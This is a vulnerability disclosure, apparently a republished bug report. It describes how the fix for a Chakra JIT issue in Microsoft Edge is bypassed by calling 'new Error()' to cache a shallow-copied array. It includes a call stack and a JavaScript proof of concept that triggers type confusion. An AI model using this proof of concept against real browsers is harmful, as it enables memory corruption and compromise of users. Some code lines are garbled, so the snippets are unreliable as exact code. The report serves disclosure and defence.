Microsoft Edge Charka JIT Incomplete Fix For Issue 1420 #2

A security fix applied for Microsoft Edge Chakra JIT is incomplete.

MD5 | 6099c93a3f08c4e81ed7de84882cba0a

Title: Microsoft Edge: Chakra: JIT: The fix for issue 1420 is incomplete #2


Here's a snippet of JavascriptArray::BoxStackInstance.
template <typename T>
T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
// On the stack, the we reserved a pointer before the object as to store the boxed value
T ** boxedInstanceRef = ((T **)instance) - 1;
T * boxedInstance = *boxedInstanceRef;
if (boxedInstance)
return boxedInstance;

const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
if (ThreadContext::IsOnStack(instance->head))
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
T, instance, true, deepCopy);
else if(inlineSlotsSize)
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);

*boxedInstanceRef = boxedInstance;
return boxedInstance;

The method checks if the array has already been copied, and if so, it just returns the cached copied array stored in "boxedInstanceRef".

My idea for bypassing the fix was:
1. In any way, invoke the method with "deepCopy" set to false.
2. From the next call, whatever the value of "deepCopy" is, the method will return the cached shallow-copied array.

And I found out that the constructor of "Error" iterates over all the functions and arguments in the call stack and invokes "BoxStackInstance" with every argument and "deepCopy" set to false.

Call stack to "JavascriptOperators::BoxStackInstance" from "new Error()":
#0 Js::JavascriptOperators::BoxStackInstance (instance=0x7fffffff5bb8, scriptContext=0x5555561a8e78, allowStackFunction=0x0, deepCopy=0x0)
at ChakraCore/lib/Runtime/Language/JavascriptOperators.cpp:9801
#1 0x00007ffff5d1834a in Js::InlinedFrameWalker::FinalizeStackValues (this=0x7fffffff57d8, args=0x7fffffff5b90, argCount=0x1)
at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1364
#2 0x00007ffff5d13f11 in Js::InlinedFrameWalker::GetArgv (this=0x7fffffff57d8, includeThis=0x0) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1353
#3 0x00007ffff5d13d7b in Js::JavascriptStackWalker::GetJavascriptArgs (this=0x7fffffff57a8) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:273
#4 0x00007ffff5d5426d in Js::StackTraceArguments::Init (this=0x7fffffff5710, walker=...) at ChakraCore/lib/Runtime/Language/StackTraceArguments.cpp:82
#5 0x00007ffff5c98af8 in Js::JavascriptExceptionContext::StackFrame::StackFrame (this=0x7fffffff5700, func=0x7ffff7e402a0, walker=..., initArgumentTypes=0x1)
at ChakraCore/lib/Runtime/Language/JavascriptExceptionObject.cpp:168
#6 0x00007ffff5c9afe7 in Js::JavascriptExceptionOperators::WalkStackForExceptionContextInternal (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980,
callerByteCodeOffset=@0x7fffffff58b8: 0x0, stackCrawlLimit=0xffffffffffffffff, returnAddress=0x0, isThrownException=0x0, resetStack=0x0)
at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:955
#7 0x00007ffff5c9a70c in Js::JavascriptExceptionOperators::WalkStackForExceptionContext (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, stackCrawlLimit=0xffffffffffffffff,
returnAddress=0x0, isThrownException=0x0, resetSatck=0x0) at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:883
#8 0x00007ffff5e4460f in Js::JavascriptError::NewInstance (function=0x7ffff7ed17c0, pError=0x7ff7f2b82980, callInfo=..., newTarget=0x7ffff7ef16d0, message=0x7ffff7ee4030)
at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:74
#9 0x00007ffff5e44ad3 in Js::JavascriptError::NewErrorInstance (function=0x7ffff7ed17c0, callInfo=...) at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:127

I just needed to insert "new Error();" to the top of the "inlinee" function in the old PoC.

// To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default.

function inlinee() {
new Error();
return inlinee.arguments[0];

function opt(convert_to_var_array) {
To make the in-place type conversion happen, it requires to segment.

let stack_arr = []; // JavascriptNativeFloatArray
stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;

let heap_arr = inlinee(stack_arr);

stack_arr[10000] = 2.3023e-320;

return heap_arr[10000];

function main() {
for (let i = 0; i < 10000; i++) {
opt(new Function('')); // Prevents to be inlined

print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

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